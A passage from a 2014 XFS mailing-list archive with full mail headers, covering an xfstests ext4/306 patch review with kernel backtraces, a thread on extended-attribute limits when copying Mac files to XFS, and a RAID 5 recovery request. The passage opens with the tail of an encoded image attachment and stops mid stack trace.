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 RK5CYII= --b2_0c2fea66f9a4f9f7842069954863e1f8-- --b1_0c2fea66f9a4f9f7842069954863e1f8-- From sandeen@sandeen.net Fri Jan 31 13:24:42 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 045287F56 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:24:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD0E2304039 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:24:38 -0800 (PST) X-ASG-Debug-ID: 1391196277-04bdf0122061e30001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id SPq1jlL4wZ2sevzD for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:24:37 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id B3099602D4F3; Fri, 31 Jan 2014 13:24:36 -0600 (CST) Message-ID: <52EBF870.1000603@sandeen.net> Date: Fri, 31 Jan 2014 13:24:32 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Whitney <enwlinux@gmail.com>, xfs@oss.sgi.com CC: linux-ext4@vger.kernel.org Subject: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140131155332.GB2385@wallace> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options In-Reply-To: <20140131155332.GB2385@wallace> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391196277 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144693 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/31/14, 9:53 AM, Eric Whitney wrote: > ext4/306 will fail when mounting the ext3 file system it creates if an > ext3-incompatible mount option is applied by _scratch_mount. This can > happen if EXT_MOUNT_OPTIONS is defined appropriately in the test > environment. For example, the block_validity option is commonly used > to enhance ext4 testing, and it is not supported by ext3. > > Fix this by instead creating an ext4 file system without extents as a > functionally equivalent substitute. This will also eliminate a > dependency for ext3 support on the test system. this seems like it should be fine, but a quick check[1] makes me think that it's passing when it should not. My flexible test boxes are tied up right now; the fix hit v3.10 (dunno about stable) so we should make sure this fails on v3.9 before & after your, I guess. I can try to get to it, or if you do first, let me now :) -Eric [1] on an old RHEL5 box so that's a bit of a strange beast > Signed-off-by: Eric Whitney <enwlinux@gmail.com> > --- > tests/ext4/306 | 21 +++++++-------------- > 1 file changed, 7 insertions(+), 14 deletions(-) > > diff --git a/tests/ext4/306 b/tests/ext4/306 > index 398c4c0..9559cf2 100755 > --- a/tests/ext4/306 > +++ b/tests/ext4/306 > @@ -45,29 +45,22 @@ _supported_os Linux > > _require_scratch > > -# This needs to mount ext3; might require ext3 driver, or ext4 > -# might handle it itself. Find out if we have it one way or another. > -modprobe ext3 > /dev/null 2>&1 > -grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" > - > rm -f $seqres.full > > -# Make a small ext3 fs, (extents disabled) & mount it > -yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 > -_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" > +# Make a small ext4 fs with extents disabled & mount it > +yes | mkfs.ext4 -O ^extents $SCRATCH_DEV 512m >> $seqres.full 2>&1 > +_scratch_mount || _fail "couldn't mount fs" > + > # Create a small non-extent-based file > echo "Create 1m testfile1" > $XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io > + > +# Create a large non-extent-based file filling the fs; this will run out & fail > echo "Create testfile2 to fill the fs" > -# A large non-extent-based file filling the fs; this will run out & fail > $XFS_IO_PROG -f $SCRATCH_MNT/testfile2 -c "pwrite 0 512m" | _filter_xfs_io > - > -# Remount as ext4 > -_scratch_unmount > -_scratch_mount -t ext4 || _fail "couldn't remount fs as ext4" > df -h $SCRATCH_MNT >> $seqres.full > > -# Grow it by 512m > +# Grow fs by 512m > echo "Resize to 1g" > resize2fs $SCRATCH_DEV 1g >> $seqres.full 2>&1 || _fail "Could not resize to 1g" > df -h $SCRATCH_MNT >> $seqres.full > From sblood@gmail.com Fri Jan 31 13:25:17 2014 Return-Path: <sblood@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CF11C7F56 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:25:17 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AFD028F8068 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:25:14 -0800 (PST) X-ASG-Debug-ID: 1391196311-04cbb00c2a5c8a0001-NocioJ Received: from mail-lb0-f182.google.com (mail-lb0-f182.google.com [209.85.217.182]) by cuda.sgi.com with ESMTP id 3AILH2vQ4i0KR4ze (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:25:12 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.182 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.182] Received: by mail-lb0-f182.google.com with SMTP id w7so3800589lbi.13 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:25:11 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.182] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.182] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=V4LsWC6o9lEHWCWYZXPN3OWQREJvMEZZI2LjaZa+GtQ=; b=cgC144eq3eW9u2bbYXv6tgBcU4xXaLocKbodCMDQv5vr7uKynkSrCf+q+EfmwwcFe+ MxRgeNlgDUtUUBVaAefN0LftJ/f7l2jT9Ycds77WWharWWMbr2Cyqe8dZjmjmn2miFzw 4NwD3nsA+JlagoW4aRZqyhQ7tTvSgpeYPAedtdCoJLUYxRHF71sgH/0ZqaPj/Cfq1X/5 1KkGFhEz4c4hlmWUIc4OLAq8GvvmX0AJy/WzKmiLPS+wIPngiKcxO9o+RTOnvNee1Ilp t697nukYf/h925ej4NGiuUnOapmbJ/XXMMRtRA9EWu2iWE6CEDN/utVAel9yEUm6Yh1M e+uA== X-Received: by 10.152.44.133 with SMTP id e5mr2561404lam.37.1391196310964; Fri, 31 Jan 2014 11:25:10 -0800 (PST) Received: from [192.168.0.13] (c213-89-170-159.bredband.comhem.se. [213.89.170.159]) by mx.google.com with ESMTPSA id bl3sm11232779lbd.7.2014.01.31.11.25.09 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 31 Jan 2014 11:25:09 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Extended attributes limit in Linux From: Sun_Blood <sblood@gmail.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <52EBB431.50301@oracle.com> Date: Fri, 31 Jan 2014 20:25:08 +0100 Cc: Vyacheslav Dubeyko <slava@dubeyko.com> Content-Transfer-Encoding: quoted-printable Message-Id: <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> References: <CAMN6oR=a0G6O-3CVVkTwhYKavJTa543U3MLezCM8KW1ASZcPnA@mail.gmail.com> <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> To: Jeff Liu <jeff.liu@oracle.com>, xfs@oss.sgi.com X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-lb0-f182.google.com[209.85.217.182] X-Barracuda-Start-Time: 1391196312 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144693 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 31 jan 2014, at 15:33, Jeff Liu <jeff.liu@oracle.com> wrote: >=20 > On 01/31 2014 22:21 PM, Vyacheslav Dubeyko wrote: >> On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: >>=20 >>>>=20 >>>> I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have >>>> failed on 3803 bytes size of xattr. So, I suppose that you have Mac = OS X >>>> Lion. And EAs is larger under Lion yet. >>>>=20 >>>> What version of Mac OS X have you? >>>>=20 >>> Yup, Mountain Lion v10.8.4 :) >>>=20 >>=20 >> I suspect that xattrs with significant size is stored in compressed >> state on HFS+. I implemented support of compressed xattrs partially = but >> I don't share this code yet. But, yes, EAs with size greater than 64 = KB >> can be a problem. FYI, Example of output from one of the failing files. First from OS X = and then same file after failed copy to XFS. OS X Maverik: file: "/Users/username/Pictures/iPhoto = Library/Database/apdb/BigBlobs.apdb" type: "\0\0\0\0" creator: "\0\0\0\0" attributes: avbstclinmedz created: 01/25/2014 11:43:17 modified: 01/28/2014 20:02:46 Ubunutu=20 getfattr: Removing leading '/' from absolute path names # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto = Library/Database/BigBlobs.apdb user.com.apple.quarantine=3D"0006;52e39545;iPhoto;=94 >>=20 >>> FYI, there have a couple of things regarding HFSPlus+xattr+acl on = Linux might be >>> deserved to discuss together. >>>=20 >>> We once have a discussion about the errno in case of hit the limits = of ACLs, which >>> could be referred to: >>> http://www.spinics.net/lists/linux-fsdevel/msg71125.html >>>=20 >>> HFSPlus return ENOMEM in this case, but it should be E2BIG as per = Dave's comments. >>> I worked out a patch series includes HFSPlus, but not yet posted for = some reasons. >>>=20 >>> Also, it seems to me we'd better consolidate the errno for EA as = well, that is to >>> say, it's better to fix the return error to be consistent with VFS = interface in case >>> of the given EA name/value length is larger than the specified = limits. >>>=20 >>> Would you like to take a look at the following two patches? >>>=20 >>=20 >> Yes, sure. Patches looks correct and good for me. But did you take = into >> account recent significant changes of Christoph Hellwig? If so, then = all >> looks good. >=20 > Thanks for the review. That's one major reason I postpone the patch = set submission > as I did it before Christoph's changes got merged, it looks like no = obvious conflicts > with that, but I will find time to double check and sent it to you -- = still on vacation > for Chinese Spring Festival. >=20 > Thanks, > -Jeff From juan.sillero@gmail.com Fri Jan 31 13:32:03 2014 Return-Path: <juan.sillero@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2CAFB7FA1 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:32:03 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BB86EAC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:31:59 -0800 (PST) X-ASG-Debug-ID: 1391196717-04cbb00c295cb50001-NocioJ Received: from mail-ee0-f51.google.com (mail-ee0-f51.google.com [74.125.83.51]) by cuda.sgi.com with ESMTP id L2MITT1aJVaC5yVw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:31:58 -0800 (PST) X-Barracuda-Envelope-From: juan.sillero@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.83.51 Received: by mail-ee0-f51.google.com with SMTP id b57so2520852eek.10 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 11:31:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=BAA3PdO95vtCzOh9dqQGjX7hXdun1TxE9Wqd7VEAELM=; b=kZUAWzDJbJgOKzq9zCPCq5WHM8pqWeLLTaioOWDpPfNcBI6QtleIBaYVlRj/hoUiRF WRzjUOt8GwIDHkGvUrN/9wVPSQCXWjpPZmqk/ID+79dWf9lxLuTy8slCqforBIM7I+RU Chg1XDAGFNGeko5/xXGYIrgR6rAIn574F0wOD+wolCmDhFv3MYA0ZU/Z6aJ2VbtG8O5D gbnyV1j5wph2Z+UazGsmblkvdVvTT3pYrFF3G/GTY/x/xyDE6cmKzdrCyLa2aLt/UZan Y4qPBb1t6FHZnVRSkCchThqnpR3t8dVlfZLEeTkzD5lvJVeP0M0ino55Vz2n5/IMwBKf +NSA== X-Received: by 10.15.76.69 with SMTP id m45mr4960789eey.96.1391196717296; Fri, 31 Jan 2014 11:31:57 -0800 (PST) Received: from [192.168.1.34] (201.Red-88-3-142.dynamicIP.rima-tde.net. [88.3.142.201]) by mx.google.com with ESMTPSA id k41sm29911084een.19.2014.01.31.11.31.55 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 31 Jan 2014 11:31:56 -0800 (PST) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed From: "Juan A. Sillero" <juan.sillero@gmail.com> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: <20140129184250.7af7200f@harpe.intellique.com> Date: Fri, 31 Jan 2014 20:31:25 +0100 Cc: Roger Willcocks <roger@filmlight.ltd.uk>, Guillem Borrell i Nogueras <guillem@torroja.dmt.upm.es>, xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <CC18E95B-75B3-47CE-8FBE-9FA511A38CD5@torroja.dmt.upm.es> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> <1391014448.2573.95.camel@islero.dmt.upm.es> <20140129184250.7af7200f@harpe.intellique.com> To: Emmanuel Florac <eflorac@intellique.com> X-Mailer: Apple Mail (2.1510) X-Barracuda-Connect: mail-ee0-f51.google.com[74.125.83.51] X-Barracuda-Start-Time: 1391196718 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144693 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hello Emmanuel, The disk controller are QLogic: 04:00.0 Fibre Channel: QLogic Corp. ISP2532-based 8Gb Fibre Channel to = PCI Express HBA (rev 02) 04:00.1 Fibre Channel: QLogic Corp. ISP2532-based 8Gb Fibre Channel to = PCI Express HBA (rev 02) 05:00.0 Fibre Channel: QLogic Corp. ISP2432-based 4Gb Fibre Channel to = PCI Express HBA (rev 03) 05:00.1 Fibre Channel: QLogic Corp. ISP2432-based 4Gb Fibre Channel to = PCI Express HBA (rev 03) 06:00.0 InfiniBand: Mellanox Technologies MT26428 [ConnectX VPI PCIe 2.0 = 5GT/s - IB QDR / 10GigE] (rev b0) Thanks again, Juan On Jan 29, 2014, at 6:42 PM, Emmanuel Florac <eflorac@intellique.com> = wrote: > Le Wed, 29 Jan 2014 17:54:08 +0100 > "Juan A. Sillero" <sillero@torroja.dmt.upm.es> =E9crivait: >=20 >> We'd like to know your opinion about what to do next. The data is >> still probably on the disks, but the RAID topology is gone. We'd >> also like to know if someone has experienced a similar hardware >> problem that could give us some advice. >=20 > I tought it was a dmraid raid 5 device? If it's a RAID controller, = what > brand/model is it?=20 >=20 > At this point you could give a try to UFS Explorer. >=20 > --=20 > = ------------------------------------------------------------------------ > Emmanuel Florac | Direction technique > | Intellique > | <eflorac@intellique.com> > | +33 1 78 94 84 02 > = ------------------------------------------------------------------------ From enwlinux@gmail.com Fri Jan 31 14:38:30 2014 Return-Path: <enwlinux@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9EEE37F63 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:38:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8756730408B for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:38:30 -0800 (PST) X-ASG-Debug-ID: 1391200706-04cbb00c285f710001-NocioJ Received: from mail-qc0-f180.google.com (mail-qc0-f180.google.com [209.85.216.180]) by cuda.sgi.com with ESMTP id urHgo5s040RFD5cY (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:38:26 -0800 (PST) X-Barracuda-Envelope-From: enwlinux@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] Received: by mail-qc0-f180.google.com with SMTP id i17so7813352qcy.39 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:38:25 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=d0Jd+/iZBQ2ssMucc4vPXMIcczLL42N87VBHcumPAQs=; b=gsBQygp8LGkYXOYMZoy//WnnR5ecuJ76oUaaBL+0l7PywNseFxtZrJ7uH9AeN7099o nwe0S6BuKpowxGFzvNuQ1/n7s0Dc+aG//xBccrZAECp2cq9KoQeKQzT5bZPdvBar9Sex 8eEYXOWOAAzAdJqkiZizkZCkUMVPmysGDU6GwtvN25z3i49MdEqRff+S0APXFJcH6Ki2 2njWRxF16d3n+vNaiCF84kKCjTM0eUs+CnbClvD9lyTwZXbeuyt4/MzYolEqylQMNvpR MzVxWvTDy1P57bu61oDk8GbWoV7zkkiXSCKOb5yPe+cbYioBRhQNXbdIPqeJBgKAA7Wq zcbQ== X-Received: by 10.140.27.103 with SMTP id 94mr33394344qgw.45.1391200705779; Fri, 31 Jan 2014 12:38:25 -0800 (PST) Received: from wallace (c-75-67-250-69.hsd1.nh.comcast.net. [75.67.250.69]) by mx.google.com with ESMTPSA id u4sm30166454qai.21.2014.01.31.12.38.24 for <multiple recipients> (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Fri, 31 Jan 2014 12:38:25 -0800 (PST) Date: Fri, 31 Jan 2014 15:38:21 -0500 From: Eric Whitney <enwlinux@gmail.com> To: Eric Sandeen <sandeen@sandeen.net> Cc: Eric Whitney <enwlinux@gmail.com>, xfs@oss.sgi.com, linux-ext4@vger.kernel.org Subject: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options Message-ID: <20140131203821.GC2385@wallace> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140131155332.GB2385@wallace> <52EBF870.1000603@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52EBF870.1000603@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-qc0-f180.google.com[209.85.216.180] X-Barracuda-Start-Time: 1391200706 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature * Eric Sandeen <sandeen@sandeen.net>: > On 1/31/14, 9:53 AM, Eric Whitney wrote: > > ext4/306 will fail when mounting the ext3 file system it creates if an > > ext3-incompatible mount option is applied by _scratch_mount. This can > > happen if EXT_MOUNT_OPTIONS is defined appropriately in the test > > environment. For example, the block_validity option is commonly used > > to enhance ext4 testing, and it is not supported by ext3. > > > > Fix this by instead creating an ext4 file system without extents as a > > functionally equivalent substitute. This will also eliminate a > > dependency for ext3 support on the test system. > > this seems like it should be fine, but a quick check[1] makes me think > that it's passing when it should not. My flexible test boxes are tied up > right now; the fix hit v3.10 (dunno about stable) so we should make sure > this fails on v3.9 before & after your, I guess. > > I can try to get to it, or if you do first, let me now :) > It's good thing I archive all my ext4 testing kernels. :-) On 3.9, I find that the current version of ext4/306 and my patched version yield the same failure - each test hangs uninterruptably in the umount. Is that what you were expecting? Stack backtraces for the patched version follow, and closely resemble those seen for the current version. Thanks, Eric SysRq : Show Blocked State task PC stack pid father flush-253:32 D ffff88002b109a28 0 4992 2 0x00000000 ffff88002b1099d8 0000000000000046 ffff880036433f60 ffff88002b109fd8 ffff88002b109fd8 ffff88002b109fd8 ffff88003b490000 ffff880036433f60 ffff88002b1099e8 ffff88002b109c60 ffff88002b109b10 0007ffffffffffff Call Trace: [<ffffffff81246950>] ? write_cache_pages_da+0x3b0/0x520 [<ffffffff816ffc09>] ? schedule+0x29/0x70 [<ffffffff8129dda5>] ? jbd2_log_wait_commit+0xb5/0x130 [<ffffffff81080ec0>] ? __init_waitqueue_head+0x60/0x60 [<ffffffff812a10ea>] ? jbd2_journal_force_commit_nested+0x6a/0xd0 [<ffffffff81246f2c>] ? ext4_da_writepages+0x46c/0x5e0 [<ffffffff8114a2c1>] 